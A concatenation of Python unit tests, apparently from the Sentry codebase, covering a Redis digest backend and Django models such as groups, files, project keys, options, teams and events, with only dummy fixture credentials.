            assert ensure_timeline_scheduled(client, keys, (timeline, timestamp, increment, 0)) is None

        # Test to ensure a missing last processed timestamp can be handled
        # correctly (chooses minimum of schedule value and record timestamp.)
        client.zadd('waiting', timestamp, timeline)
        client.delete('last-processed')
        with self.assertDoesNotChange(waiting_set_size), \
                self.assertDoesNotChange(timeline_score_in_waiting_set):
            assert ensure_timeline_scheduled(client, keys, (timeline, timestamp + 100, increment, 10)) is None

        with self.assertDoesNotChange(waiting_set_size), \
                self.assertChanges(timeline_score_in_waiting_set, before=timestamp, after=timestamp - 100):
            assert ensure_timeline_scheduled(client, keys, (timeline, timestamp - 100, increment, 10)) is None

    def test_truncate_timeline_script(self):
        cluster = clusters.get('default')
        client = cluster.get_local_client(six.next(iter(cluster.hosts)))

        timeline = 'timeline'

        # Preload some fake records (the contents don't matter.)
        records = list(itertools.islice(self.records, 10))
        for record in records:
            client.zadd(timeline, record.timestamp, record.key)
            client.set(make_record_key(timeline, record.key), 'data')

        with self.assertChanges(lambda: client.zcard(timeline), before=10, after=5):
            truncate_timeline(client, (timeline,), (5, timeline))

            # Ensure the early records don't exist.
            for record in records[:5]:
                assert not client.zscore(timeline, record.key)
                assert not client.exists(make_record_key(timeline, record.key))

            # Ensure the later records do exist.
            for record in records[-5:]:
                assert client.zscore(timeline, record.key) == float(record.timestamp)
                assert client.exists(make_record_key(timeline, record.key))


class RedisBackendTestCase(BaseRedisBackendTestCase):
    def test_add_record(self):
        timeline = 'timeline'
        backend = RedisBackend()

        timeline_key = make_timeline_key(backend.namespace, timeline)
        connection = backend.cluster.get_local_client_for_key(timeline_key)

        record = next(self.records)
        ready_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_READY)
        record_key = make_record_key(timeline_key, record.key)

        get_timeline_score_in_ready_set = functools.partial(connection.zscore, ready_set_key, timeline)
        get_record_score_in_timeline_set = functools.partial(connection.zscore, timeline_key, record.key)

        def get_record_value():
            value = connection.get(record_key)
            return backend.codec.decode(value) if value is not None else None

        with self.assertChanges(get_timeline_score_in_ready_set, before=None, after=record.timestamp), \
                self.assertChanges(get_record_score_in_timeline_set, before=None, after=record.timestamp), \
                self.assertChanges(get_record_value, before=None, after=record.value):
            backend.add(timeline, record)

    def test_truncation(self):
        timeline = 'timeline'
        capacity = 5
        backend = RedisBackend(capacity=capacity, truncation_chance=0.5)

        timeline_key = make_timeline_key(backend.namespace, timeline)
        connection = backend.cluster.get_local_client_for_key(timeline_key)

        get_timeline_size = functools.partial(connection.zcard, timeline_key)

        fill = 10

        with mock.patch('random.random', return_value=1.0):
            with self.assertChanges(get_timeline_size, before=0, after=fill):
                for _ in range(fill):
                    backend.add(timeline, next(self.records))

        with mock.patch('random.random', return_value=0.0):
            with self.assertChanges(get_timeline_size, before=fill, after=capacity):
                backend.add(timeline, next(self.records))

    def test_scheduling(self):
        backend = RedisBackend()

        waiting_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_WAITING)
        ready_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_READY)

        n = 10

        for i in range(n):
            with backend.cluster.map() as client:
                client.zadd(waiting_set_key, i, 'timelines:{0}'.format(i))

        for i in range(n, n * 2):
            with backend.cluster.map() as client:
                client.zadd(ready_set_key, i, 'timelines:{0}'.format(i))

        get_waiting_set_size = functools.partial(get_set_size, backend.cluster, waiting_set_key)
        get_ready_set_size = functools.partial(get_set_size, backend.cluster, ready_set_key)

        with self.assertChanges(get_waiting_set_size, before=n, after=0), \
                self.assertChanges(get_ready_set_size, before=n, after=n * 2):
            results = list(zip(range(n), list(backend.schedule(n, chunk=5))))
            assert len(results) is n

            # Ensure scheduled entries are returned earliest first.
            for i, entry in results:
                assert entry.key == 'timelines:{0}'.format(i)
                assert entry.timestamp == float(i)

    def test_maintenance(self):
        timeline = 'timeline'
        backend = RedisBackend(ttl=3600)

        timeline_key = make_timeline_key(backend.namespace, timeline)
        digest_key = make_digest_key(timeline_key)
        waiting_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_WAITING)
        ready_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_READY)

        now = time.time()

        connection = backend.cluster.get_local_client_for_key(timeline_key)
        schedule_time = now - 60
        connection.zadd(ready_set_key, schedule_time, timeline)
        connection.zadd(timeline_key, 0, '1')
        connection.set(make_record_key(timeline_key, '1'), 'data')
        connection.zadd(digest_key, 0, '2')
        connection.set(make_record_key(timeline_key, '2'), 'data')

        # Move the digest from the ready set to the waiting set.
        backend.maintenance(now)
        assert connection.zcard(ready_set_key) == 0
        assert connection.zrange(waiting_set_key, 0, -1, withscores=True) == [(timeline, schedule_time)]

        connection.zrem(waiting_set_key, timeline)
        connection.zadd(ready_set_key, schedule_time, timeline)

        # Delete the digest from the ready set.
        with mock.patch('time.time', return_value=now + (backend.ttl + 1)):
            backend.maintenance(now)

        keys = (
            ready_set_key,
            waiting_set_key,
            timeline_key,
            digest_key,
            make_record_key(timeline_key, '1'),
            make_record_key(timeline_key, '2'),
        )
        for key in keys:
            assert connection.exists(key) is False

    def test_delete(self):
        timeline = 'timeline'
        backend = RedisBackend()

        timeline_key = make_timeline_key(backend.namespace, timeline)
        digest_key = make_digest_key(timeline_key)
        waiting_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_WAITING)
        ready_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_READY)

        connection = backend.cluster.get_local_client_for_key(timeline_key)
        connection.zadd(waiting_set_key, 0, timeline)
        connection.zadd(ready_set_key, 0, timeline)
        connection.zadd(timeline_key, 0, '1')
        connection.set(make_record_key(timeline_key, '1'), 'data')
        connection.zadd(digest_key, 0, '2')
        connection.set(make_record_key(timeline_key, '2'), 'data')

        keys = (
            waiting_set_key,
            ready_set_key,
            digest_key,
            timeline_key,
            make_record_key(timeline_key, '1'),
            make_record_key(timeline_key, '2')
        )

        def check_keys_exist():
            return map(connection.exists, keys)

        with self.assertChanges(check_keys_exist, before=[True] * len(keys), after=[False] * len(keys)):
            backend.delete(timeline)


class ExpectedError(Exception):
    pass


class DigestTestCase(BaseRedisBackendTestCase):
    def test_digesting(self):
        backend = RedisBackend()

        # XXX: This assumes the that adding records and scheduling are working
        # correctly to set up the state needed for this test!

        timeline = 'timeline'
        n = 10
        records = list(itertools.islice(self.records, n))
        for record in records:
            backend.add(timeline, record)

        for entry in backend.schedule(time.time()):
            pass

        timeline_key = make_timeline_key(backend.namespace, timeline)
        client = backend.cluster.get_local_client_for_key(timeline_key)

        waiting_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_WAITING)
        ready_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_READY)

        get_timeline_size = functools.partial(client.zcard, timeline_key)
        get_waiting_set_size = functools.partial(get_set_size, backend.cluster, waiting_set_key)
        get_ready_set_size = functools.partial(get_set_size, backend.cluster, ready_set_key)

        with self.assertChanges(get_timeline_size, before=n, after=0), \
                self.assertChanges(get_waiting_set_size, before=0, after=1), \
                self.assertChanges(get_ready_set_size, before=1, after=0):

            timestamp = time.time()
            with mock.patch('time.time', return_value=timestamp), \
                    backend.digest(timeline) as entries:
                entries = list(entries)
                assert entries == records[::-1]

            next_scheduled_delivery = timestamp + backend.minimum_delay
            assert client.zscore(waiting_set_key, timeline) == next_scheduled_delivery
            assert int(client.get(make_last_processed_timestamp_key(timeline_key))) == int(timestamp)

        # Move the timeline back to the ready set.
        for entry in backend.schedule(next_scheduled_delivery):
            pass

        # The digest should be removed from the schedule if it is empty.
        with self.assertDoesNotChange(get_waiting_set_size), \
                self.assertChanges(get_ready_set_size, before=1, after=0):
            with backend.digest(timeline) as entries:
                assert list(entries) == []

        assert client.get(make_last_processed_timestamp_key(timeline_key)) is None

    def test_digesting_failure_recovery(self):
        backend = RedisBackend()

        # XXX: This assumes the that adding records and scheduling are working
        # correctly to set up the state needed for this test!

        timeline = 'timeline'
        n = 10
        records = list(itertools.islice(self.records, n))
        for record in records:
            backend.add(timeline, record)

        for entry in backend.schedule(time.time()):
            pass

        timeline_key = make_timeline_key(backend.namespace, timeline)
        client = backend.cluster.get_local_client_for_key(timeline_key)

        waiting_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_WAITING)
        ready_set_key = make_schedule_key(backend.namespace, SCHEDULE_STATE_READY)

        get_waiting_set_size = functools.partial(get_set_size, backend.cluster, waiting_set_key)
        get_ready_set_size = functools.partial(get_set_size, backend.cluster, ready_set_key)
        get_timeline_size = functools.partial(client.zcard, timeline_key)
        get_digest_size = functools.partial(client.zcard, make_digest_key(timeline_key))

        with self.assertChanges(get_timeline_size, before=n, after=0), \
                self.assertChanges(get_digest_size, before=0, after=n), \
                self.assertDoesNotChange(get_waiting_set_size), \
                self.assertDoesNotChange(get_ready_set_size):
            try:
                with backend.digest(timeline) as entries:
                    raise ExpectedError
            except ExpectedError:
                pass

        # Add another few records to the timeline to ensure they end up in the digest.
        extra = list(itertools.islice(self.records, 5))
        for record in extra:
            backend.add(timeline, record)

        with self.assertChanges(get_timeline_size, before=len(extra), after=0), \
                self.assertChanges(get_digest_size, before=len(records), after=0), \
                self.assertChanges(get_waiting_set_size, before=0, after=1), \
                self.assertChanges(get_ready_set_size, before=1, after=0):
            timestamp = time.time()
            with mock.patch('time.time', return_value=timestamp), \
                    backend.digest(timeline) as entries:
                entries = list(entries)
                assert entries == (records + extra)[::-1]

            assert client.zscore(waiting_set_key, timeline) == timestamp + backend.minimum_delay






from __future__ import absolute_import

import six

from datetime import datetime, timedelta

import pytest
from django.db.models import ProtectedError
from django.utils import timezone

from sentry.models import (
    Group, GroupRedirect, GroupSnooze, GroupStatus, Release,
    get_group_with_redirect
)
from sentry.testutils import TestCase


class GroupTest(TestCase):
    def test_is_resolved(self):
        group = self.create_group(status=GroupStatus.RESOLVED)
        assert group.is_resolved()

        group.status = GroupStatus.MUTED
        assert not group.is_resolved()

        group.status = GroupStatus.UNRESOLVED
        assert not group.is_resolved()

        group.last_seen = timezone.now() - timedelta(hours=12)

        group.project.update_option('sentry:resolve_age', 24)

        assert not group.is_resolved()

        group.project.update_option('sentry:resolve_age', 1)

        assert group.is_resolved()

    def test_get_oldest_latest_event_no_events(self):
        group = self.create_group()
        assert group.get_latest_event() is None
        assert group.get_oldest_event() is None

    def test_get_oldest_latest_events(self):
        group = self.create_group()
        for i in range(0, 3):
            self.create_event(
                event_id=six.text_type(i),
                group=group,
                datetime=datetime(2013, 8, 13, 3, 8, i),
            )

        assert group.get_latest_event().event_id == '2'
        assert group.get_oldest_event().event_id == '0'

    def test_get_oldest_latest_identical_timestamps(self):
        group = self.create_group()
        for i in range(0, 3):
            self.create_event(
                event_id=six.text_type(i),
                group=group,
                datetime=datetime(2013, 8, 13, 3, 8, 50),
            )

        assert group.get_latest_event().event_id == '2'
        assert group.get_oldest_event().event_id == '0'

    def test_get_oldest_latest_almost_identical_timestamps(self):
        group = self.create_group()
        self.create_event(
            event_id='0',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 0),  # earliest
        )
        for i in range(1, 3):
            self.create_event(
                event_id=six.text_type(i),
                group=group,
                datetime=datetime(2013, 8, 13, 3, 8, 30),  # all in the middle
            )
        self.create_event(
            event_id='3',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 59),  # latest
        )

        assert group.get_latest_event().event_id == '3'
        assert group.get_oldest_event().event_id == '0'

    def test_is_muted_with_expired_snooze(self):
        group = self.create_group(
            status=GroupStatus.MUTED,
        )
        GroupSnooze.objects.create(
            group=group,
            until=timezone.now() - timedelta(minutes=1),
        )
        assert not group.is_muted()

    def test_status_with_expired_snooze(self):
        group = self.create_group(
            status=GroupStatus.MUTED,
        )
        GroupSnooze.objects.create(
            group=group,
            until=timezone.now() - timedelta(minutes=1),
        )
        assert group.get_status() == GroupStatus.UNRESOLVED

    def test_deleting_release_does_not_delete_group(self):
        project = self.create_project()
        release = Release.objects.create(
            version='a',
            project=project,
        )
        group = self.create_group(
            project=project,
            first_release=release,
        )

        with pytest.raises(ProtectedError):
            release.delete()

        group = Group.objects.get(id=group.id)
        assert group.first_release == release

    def test_save_truncate_message(self):
        assert len(self.create_group(message='x' * 300).message) == 255
        assert self.create_group(message='\nfoo\n   ').message == 'foo'
        assert self.create_group(message='foo').message == 'foo'
        assert self.create_group(message='').message == ''

    def test_get_group_with_redirect(self):
        group = self.create_group()
        assert get_group_with_redirect(group.id) == (group, False)

        duplicate_id = self.create_group().id
        Group.objects.filter(id=duplicate_id).delete()
        GroupRedirect.objects.create(
            group_id=group.id,
            previous_group_id=duplicate_id,
        )

        assert get_group_with_redirect(duplicate_id) == (group, True)

        # We shouldn't end up in a case where the redirect points to a bad
        # reference, but testing this path for completeness.
        group.delete()

        with pytest.raises(Group.DoesNotExist):
            get_group_with_redirect(duplicate_id)

    def test_invalid_shared_id(self):
        with pytest.raises(Group.DoesNotExist):
            Group.from_share_id('adc7a5b902184ce3818046302e94f8ec')






from __future__ import absolute_import

from sentry.models import Environment
from sentry.testutils import TestCase


class GetOrCreateTest(TestCase):
    def test_simple(self):
        project = self.create_project()

        env = Environment.get_or_create(
            project=project,
            name='prod',
        )

        assert env.project_id == project.id
        assert env.name == 'prod'

        env2 = Environment.get_or_create(
            project=project,
            name='prod',
        )

        assert env2.id == env.id






from __future__ import absolute_import

from django.core.files.base import ContentFile

from sentry.models import File, FileBlob
from sentry.testutils import TestCase


class FileBlobTest(TestCase):
    def test_from_file(self):
        fileobj = ContentFile('foo bar'.encode('utf-8'))

        my_file1 = FileBlob.from_file(fileobj)

        assert my_file1.path

        my_file2 = FileBlob.from_file(fileobj)
        # deep check
        assert my_file1.id == my_file2.id
        assert my_file1.checksum == my_file2.checksum
        assert my_file1.path == my_file2.path


class FileTest(TestCase):
    def test_file_handling(self):
        fileobj = ContentFile('foo bar'.encode('utf-8'))
        file1 = File.objects.create(
            name='baz.js',
            type='default',
            size=7,
        )
        results = file1.putfile(fileobj, 3)
        assert len(results) == 3
        assert results[0].offset == 0
        assert results[1].offset == 3
        assert results[2].offset == 6

        fp = None
        with file1.getfile() as fp:
            assert fp.read().decode('utf-8') == 'foo bar'
            fp.seek(2)
            fp.tell() == 2
            assert fp.read().decode('utf-8') == 'o bar'
            fp.seek(0)
            fp.tell() == 0
            assert fp.read().decode('utf-8') == 'foo bar'
            fp.seek(4)
            fp.tell() == 4
            assert fp.read().decode('utf-8') == 'bar'
            fp.seek(1000)
            fp.tell() == 1000

            with self.assertRaises(IOError):
                fp.seek(-1)

        with self.assertRaises(ValueError):
            fp.seek(0)

        with self.assertRaises(ValueError):
            fp.tell()

        with self.assertRaises(ValueError):
            fp.read()






from __future__ import absolute_import

from django.core import mail

from sentry.models import (
    OrganizationAccessRequest, OrganizationMember, OrganizationMemberTeam
)
from sentry.testutils import TestCase


class SendRequestEmailTest(TestCase):
    def test_sends_email_to_everyone(self):
        owner = self.create_user('owner@example.com')
        team_admin = self.create_user('team-admin@example.com')
        non_team_admin = self.create_user('non-team-admin@example.com')
        random_member = self.create_user('member@example.com')
        requesting_user = self.create_user('requesting@example.com')

        org = self.create_organization(owner=owner)
        team = self.create_team(organization=org)

        OrganizationMemberTeam.objects.create(
            organizationmember=OrganizationMember.objects.get(
                organization=org,
                user=owner,
            ),
            team=team,
        )

        self.create_member(
            organization=org,
            user=team_admin,
            role='admin',
            teams=[team],
        )

        self.create_member(
            organization=org,
            user=non_team_admin,
            role='admin',
            teams=[],
        )

        self.create_member(
            organization=org,
            user=random_member,
            role='member',
            teams=[team],
        )

        requesting_member = self.create_member(
            organization=org,
            user=requesting_user,
            role='member',
            teams=[],
        )

        request = OrganizationAccessRequest.objects.create(
            member=requesting_member,
            team=team,
        )

        with self.tasks():
            request.send_request_email()

        assert len(mail.outbox) == 2, [m.subject for m in mail.outbox]
        assert sorted([m.to[0] for m in mail.outbox]) == \
            sorted([owner.email, team_admin.email])






from __future__ import absolute_import

from sentry.models import OrganizationMember
from sentry.testutils import TestCase


class UserMergeToTest(TestCase):
    def test_simple(self):
        from_user = self.create_user('foo@example.com')

        to_user = self.create_user('bar@example.com')

        from_user.merge_to(to_user)

    def test_duplicate_memberships(self):
        from_user = self.create_user('foo@example.com')
        to_user = self.create_user('bar@example.com')

        org_1 = self.create_organization()
        team_1 = self.create_team(organization=org_1)
        team_2 = self.create_team(organization=org_1)
        team_3 = self.create_team(organization=org_1)
        self.create_member(
            organization=org_1,
            user=from_user,
            role='owner',
            teams=[team_1, team_2],
        )
        # to_user should have less roles
        self.create_member(
            organization=org_1,
            user=to_user,
            role='member',
            teams=[team_2, team_3],
        )

        from_user.merge_to(to_user)

        member = OrganizationMember.objects.get(
            user=to_user,
        )

        assert member.role == 'owner'
        assert list(member.teams.all().order_by('pk')) == [team_1, team_2, team_3]






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import ProjectOption
from sentry.testutils import TestCase


class ProjectOptionManagerTest(TestCase):
    def test_set_value(self):
        ProjectOption.objects.set_value(self.project, 'foo', 'bar')
        assert ProjectOption.objects.filter(
            project=self.project, key='foo', value='bar').exists()

    def test_get_value(self):
        result = ProjectOption.objects.get_value(self.project, 'foo')
        assert result is None

        ProjectOption.objects.create(
            project=self.project, key='foo', value='bar')
        result = ProjectOption.objects.get_value(self.project, 'foo')
        assert result == 'bar'

    def test_unset_value(self):
        ProjectOption.objects.unset_value(self.project, 'foo')
        ProjectOption.objects.create(
            project=self.project, key='foo', value='bar')
        ProjectOption.objects.unset_value(self.project, 'foo')
        assert not ProjectOption.objects.filter(
            project=self.project, key='foo').exists()

    def test_get_value_bulk(self):
        result = ProjectOption.objects.get_value_bulk([self.project], 'foo')
        assert result == {self.project: None}

        ProjectOption.objects.create(
            project=self.project, key='foo', value='bar')
        result = ProjectOption.objects.get_value_bulk([self.project], 'foo')
        assert result == {self.project: 'bar'}






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import OrganizationMember, OrganizationMemberTeam
from sentry.testutils import TestCase


class TeamTest(TestCase):
    def test_global_member(self):
        user = self.create_user()
        org = self.create_organization(owner=user)
        team = self.create_team(organization=org)
        member = OrganizationMember.objects.get(
            user=user,
            organization=org,
        )
        OrganizationMemberTeam.objects.create(
            organizationmember=member,
            team=team,
        )
        assert list(team.member_set.all()) == [member]

    def test_inactive_global_member(self):
        user = self.create_user()
        org = self.create_organization(owner=user)
        team = self.create_team(organization=org)
        OrganizationMember.objects.get(
            user=user,
            organization=org,
        )

        assert list(team.member_set.all()) == []

    def test_active_basic_member(self):
        user = self.create_user()
        org = self.create_organization(owner=user)
        team = self.create_team(organization=org)
        user2 = self.create_user('foo@example.com')
        member = self.create_member(
            user=user2,
            organization=org,
            role='member',
            teams=[team],
        )

        assert member in team.member_set.all()

    def test_teamless_basic_member(self):
        user = self.create_user()
        org = self.create_organization(owner=user)
        team = self.create_team(organization=org)
        user2 = self.create_user('foo@example.com')
        member = self.create_member(
            user=user2,
            organization=org,
            role='member',
            teams=[],
        )

        assert member not in team.member_set.all()






from __future__ import absolute_import

from django.utils import timezone

from sentry.models import Environment, Release, ReleaseEnvironment
from sentry.testutils import TestCase


class GetOrCreateTest(TestCase):
    def test_simple(self):
        project = self.create_project()
        now = timezone.now()

        release = Release.objects.create(
            project=project,
            version='abcdef',
        )
        env = Environment.objects.create(
            project_id=project.id,
            name='prod',
        )
        relenv = ReleaseEnvironment.get_or_create(
            project=project,
            release=release,
            environment=env,
            datetime=now,
        )

        assert relenv.project_id == project.id
        assert relenv.release_id == release.id
        assert relenv.environment_id == env.id






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import GroupMeta
from sentry.testutils import TestCase


class GroupMetaManagerTest(TestCase):
    def test_set_value(self):
        GroupMeta.objects.set_value(self.group, 'foo', 'bar')
        assert GroupMeta.objects.filter(
            group=self.group, key='foo', value='bar').exists()

    def test_get_value(self):
        with self.assertRaises(GroupMeta.CacheNotPopulated):
            GroupMeta.objects.get_value(self.group, 'foo')

        GroupMeta.objects.create(
            group=self.group, key='foo', value='bar')
        with self.assertRaises(GroupMeta.CacheNotPopulated):
            GroupMeta.objects.get_value(self.group, 'foo')

        GroupMeta.objects.populate_cache([self.group])
        result = GroupMeta.objects.get_value(self.group, 'foo')
        assert result == 'bar'

    def test_unset_value(self):
        GroupMeta.objects.unset_value(self.group, 'foo')
        GroupMeta.objects.create(
            group=self.group, key='foo', value='bar')
        GroupMeta.objects.unset_value(self.group, 'foo')
        assert not GroupMeta.objects.filter(
            group=self.group, key='foo').exists()

    def test_get_value_bulk(self):
        with self.assertRaises(GroupMeta.CacheNotPopulated):
            GroupMeta.objects.get_value_bulk([self.group], 'foo')

        GroupMeta.objects.create(
            group=self.group, key='foo', value='bar')
        with self.assertRaises(GroupMeta.CacheNotPopulated):
            GroupMeta.objects.get_value_bulk([self.group], 'foo')

        GroupMeta.objects.populate_cache([self.group])
        result = GroupMeta.objects.get_value_bulk([self.group], 'foo')
        assert result == {self.group: 'bar'}






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import OrganizationOption
from sentry.testutils import TestCase


class OrganizationOptionManagerTest(TestCase):
    def test_set_value(self):
        OrganizationOption.objects.set_value(self.organization, 'foo', 'bar')
        assert OrganizationOption.objects.filter(
            organization=self.organization, key='foo', value='bar').exists()

    def test_get_value(self):
        result = OrganizationOption.objects.get_value(self.organization, 'foo')
        assert result is None

        OrganizationOption.objects.create(
            organization=self.organization, key='foo', value='bar')
        result = OrganizationOption.objects.get_value(self.organization, 'foo')
        assert result == 'bar'

    def test_unset_value(self):
        OrganizationOption.objects.unset_value(self.organization, 'foo')
        OrganizationOption.objects.create(
            organization=self.organization, key='foo', value='bar')
        OrganizationOption.objects.unset_value(self.organization, 'foo')
        assert not OrganizationOption.objects.filter(
            organization=self.organization, key='foo').exists()

    def test_get_value_bulk(self):
        result = OrganizationOption.objects.get_value_bulk([self.organization], 'foo')
        assert result == {self.organization: None}

        OrganizationOption.objects.create(
            organization=self.organization, key='foo', value='bar')
        result = OrganizationOption.objects.get_value_bulk([self.organization], 'foo')
        assert result == {self.organization: 'bar'}






from __future__ import absolute_import

from sentry.models import ProjectKey, ProjectKeyStatus
from sentry.testutils import TestCase


class ProjectKeyTest(TestCase):
    model = ProjectKey

    def test_generate_api_key(self):
        assert len(self.model.generate_api_key()) == 32

    def test_from_dsn(self):
        key = self.model.objects.create(
            project_id=1,
            public_key='abc',
            secret_key='xyz',
        )

        assert self.model.from_dsn('http://abc@testserver/1') == key

        with self.assertRaises(self.model.DoesNotExist):
            self.model.from_dsn('http://xxx@testserver/1')

        with self.assertRaises(self.model.DoesNotExist):
            self.model.from_dsn('abc')

    def test_get_default(self):
        key = self.projectkey
        self.model.objects.create(
            project=self.project,
            status=ProjectKeyStatus.INACTIVE,
        )
        assert self.model.objects.filter(project=self.project).count() == 2, self.model.objects.all()
        assert self.model.get_default(self.project) == key

    def test_is_active(self):
        assert self.model(
            project=self.project,
            status=ProjectKeyStatus.INACTIVE,
        ).is_active is False

        assert self.model(
            project=self.project,
            status=ProjectKeyStatus.ACTIVE,
        ).is_active is True

    def test_get_dsn(self):
        key = self.model(
            project_id=1,
            public_key='abc',
            secret_key='xyz',
        )
        assert key.dsn_private == 'http://abc:xyz@testserver/1'
        assert key.dsn_public == 'http://abc@testserver/1'
        assert key.csp_endpoint == 'http://testserver/api/1/csp-report/?sentry_key=abc'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import OrganizationMember, OrganizationMemberTeam
from sentry.testutils import TestCase


class ProjectTest(TestCase):
    def test_member_set_simple(self):
        user = self.create_user()
        org = self.create_organization(owner=user)
        team = self.create_team(organization=org)
        project = self.create_project(team=team)
        member = OrganizationMember.objects.get(
            user=user,
            organization=org,
        )
        OrganizationMemberTeam.objects.create(
            organizationmember=member,
            team=team,
        )

        assert list(project.member_set.all()) == [member]

    def test_inactive_global_member(self):
        user = self.create_user()
        org = self.create_organization(owner=user)
        team = self.create_team(organization=org)
        project = self.create_project(team=team)
        OrganizationMember.objects.get(
            user=user,
            organization=org,
        )

        assert list(project.member_set.all()) == []






from __future__ import absolute_import

from sentry.testutils import TestCase


class EventTest(TestCase):
    def test_legacy_tags(self):
        event = self.create_event(data={
            'tags': [
                ('logger', 'foobar'),
                ('site', 'foo'),
                ('server_name', 'bar'),
            ]
        })
        assert event.logger == 'foobar'
        assert event.level == event.group.level
        assert event.site == 'foo'
        assert event.server_name == 'bar'
        assert event.culprit == event.group.culprit

    def test_email_subject(self):
        event1 = self.create_event(
            event_id='a' * 32, group=self.group, tags={'level': 'info'},
            message='Foo bar')
        event2 = self.create_event(
            event_id='b' * 32, group=self.group, tags={'level': 'error'},
            message='Foo bar')
        self.group.level = 30

        assert event1.get_email_subject() == '[foo Bar] INFO: Foo bar'
        assert event2.get_email_subject() == '[foo Bar] ERROR: Foo bar'


class EventGetLegacyMessageTest(TestCase):
    def test_message(self):
        event = self.create_event(message='foo bar')
        assert event.get_legacy_message() == 'foo bar'

    def test_message_interface(self):
        event = self.create_event(
            message='biz baz',
            data={
                'sentry.interfaces.Message': {'message': 'foo bar'}
            },
        )
        assert event.get_legacy_message() == 'foo bar'

    def test_message_interface_with_formatting(self):
        event = self.create_event(
            message='biz baz',
            data={
                'sentry.interfaces.Message': {
                    'message': 'foo %s',
                    'formatted': 'foo bar',
                    'params': ['bar'],
                }
            },
        )
        assert event.get_legacy_message() == 'foo bar'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import Counter
from sentry.testutils import TestCase


class ProjectCounterTest(TestCase):

    def test_increment(self):
        user = self.create_user()
        org = self.create_organization(owner=user)
        team = self.create_team(organization=org)
        project = self.create_project(team=team)

        assert Counter.increment(project, 42) == 42
        assert Counter.increment(project, 1) == 43






from __future__ import absolute_import






# coding: utf-8

from __future__ import absolute_import

import pytest

from datetime import timedelta
from django.core import mail
from django.core.urlresolvers import reverse
from django.db import connection
from django.utils import timezone
from exam import fixture

from sentry.db.models.fields.node import NodeData, NodeIntegrityFailure
from sentry.models import ProjectKey, Event, LostPasswordHash
from sentry.testutils import TestCase
from sentry.utils.compat import pickle
from sentry.utils.strings import compress


class ProjectKeyTest(TestCase):
    def test_get_dsn(self):
        key = ProjectKey(project_id=1, public_key='public', secret_key='secret')
        with self.options({'system.url-prefix': 'http://example.com'}):
            self.assertEquals(key.get_dsn(), 'http://public:secret@example.com/1')

    def test_get_dsn_with_ssl(self):
        key = ProjectKey(project_id=1, public_key='public', secret_key='secret')
        with self.options({'system.url-prefix': 'https://example.com'}):
            self.assertEquals(key.get_dsn(), 'https://public:secret@example.com/1')

    def test_get_dsn_with_port(self):
        key = ProjectKey(project_id=1, public_key='public', secret_key='secret')
        with self.options({'system.url-prefix': 'http://example.com:81'}):
            self.assertEquals(key.get_dsn(), 'http://public:secret@example.com:81/1')

    def test_get_dsn_with_public_endpoint_setting(self):
        key = ProjectKey(project_id=1, public_key='public', secret_key='secret')
        with self.settings(SENTRY_PUBLIC_ENDPOINT='http://public_endpoint.com'):
            self.assertEquals(key.get_dsn(public=True), 'http://public@public_endpoint.com/1')

    def test_get_dsn_with_endpoint_setting(self):
        key = ProjectKey(project_id=1, public_key='public', secret_key='secret')
        with self.settings(SENTRY_ENDPOINT='http://endpoint.com'):
            self.assertEquals(key.get_dsn(), 'http://public:secret@endpoint.com/1')

    def test_key_is_created_for_project(self):
        self.create_user('admin@example.com')
        team = self.create_team(name='Test')
        project = self.create_project(name='Test', team=team)
        assert project.key_set.exists() is True


class LostPasswordTest(TestCase):
    @fixture
    def password_hash(self):
        return LostPasswordHash.objects.create(
            user=self.user,
        )

    def test_send_recover_mail(self):
        with self.options({'system.url-prefix': 'http://testserver'}), self.tasks():
            self.password_hash.send_recover_mail()

        assert len(mail.outbox) == 1
        msg = mail.outbox[0]
        assert msg.to == [self.user.email]
        assert msg.subject == '[Sentry] Password Recovery'
        url = 'http://testserver' + reverse('sentry-account-recover-confirm',
            args=[self.password_hash.user_id, self.password_hash.hash])
        assert url in msg.body


class GroupIsOverResolveAgeTest(TestCase):
    def test_simple(self):
        group = self.group
        group.last_seen = timezone.now() - timedelta(hours=2)
        group.project.update_option('sentry:resolve_age', 1)  # 1 hour
        assert group.is_over_resolve_age() is True
        group.last_seen = timezone.now()
        assert group.is_over_resolve_age() is False


class EventNodeStoreTest(TestCase):
    def test_does_transition_data_to_node(self):
        group = self.group
        data = {'key': 'value'}

        query_bits = [
            "INSERT INTO sentry_message (group_id, project_id, data, message, datetime)",
            "VALUES(%s, %s, %s, %s, %s)",
        ]
        params = [group.id, group.project_id, compress(pickle.dumps(data)), 'test', timezone.now()]

        # This is pulled from SQLInsertCompiler
        if connection.features.can_return_id_from_insert:
            r_fmt, r_params = connection.ops.return_insert_id()
            if r_fmt:
                query_bits.append(r_fmt % Event._meta.pk.column)
                params += r_params

        cursor = connection.cursor()
        cursor.execute(' '.join(query_bits), params)

        if connection.features.can_return_id_from_insert:
            event_id = connection.ops.fetch_returned_insert_id(cursor)
        else:
            event_id = connection.ops.last_insert_id(
                cursor, Event._meta.db_table, Event._meta.pk.column)

        event = Event.objects.get(id=event_id)
        assert type(event.data) == NodeData
        assert event.data == data
        assert event.data.id is None

        event.save()

        assert event.data == data
        assert event.data.id is not None

        node_id = event.data.id
        event = Event.objects.get(id=event_id)

        Event.objects.bind_nodes([event], 'data')

        assert event.data == data
        assert event.data.id == node_id

    def test_screams_bloody_murder_when_ref_fails(self):
        project1 = self.create_project()
        project2 = self.create_project()
        group1 = self.create_group(project1)
        invalid_event = self.create_event(group=group1)
        group2 = self.create_group(project2)
        event = self.create_event(group=group2)
        event.data.bind_ref(invalid_event)
        event.save()

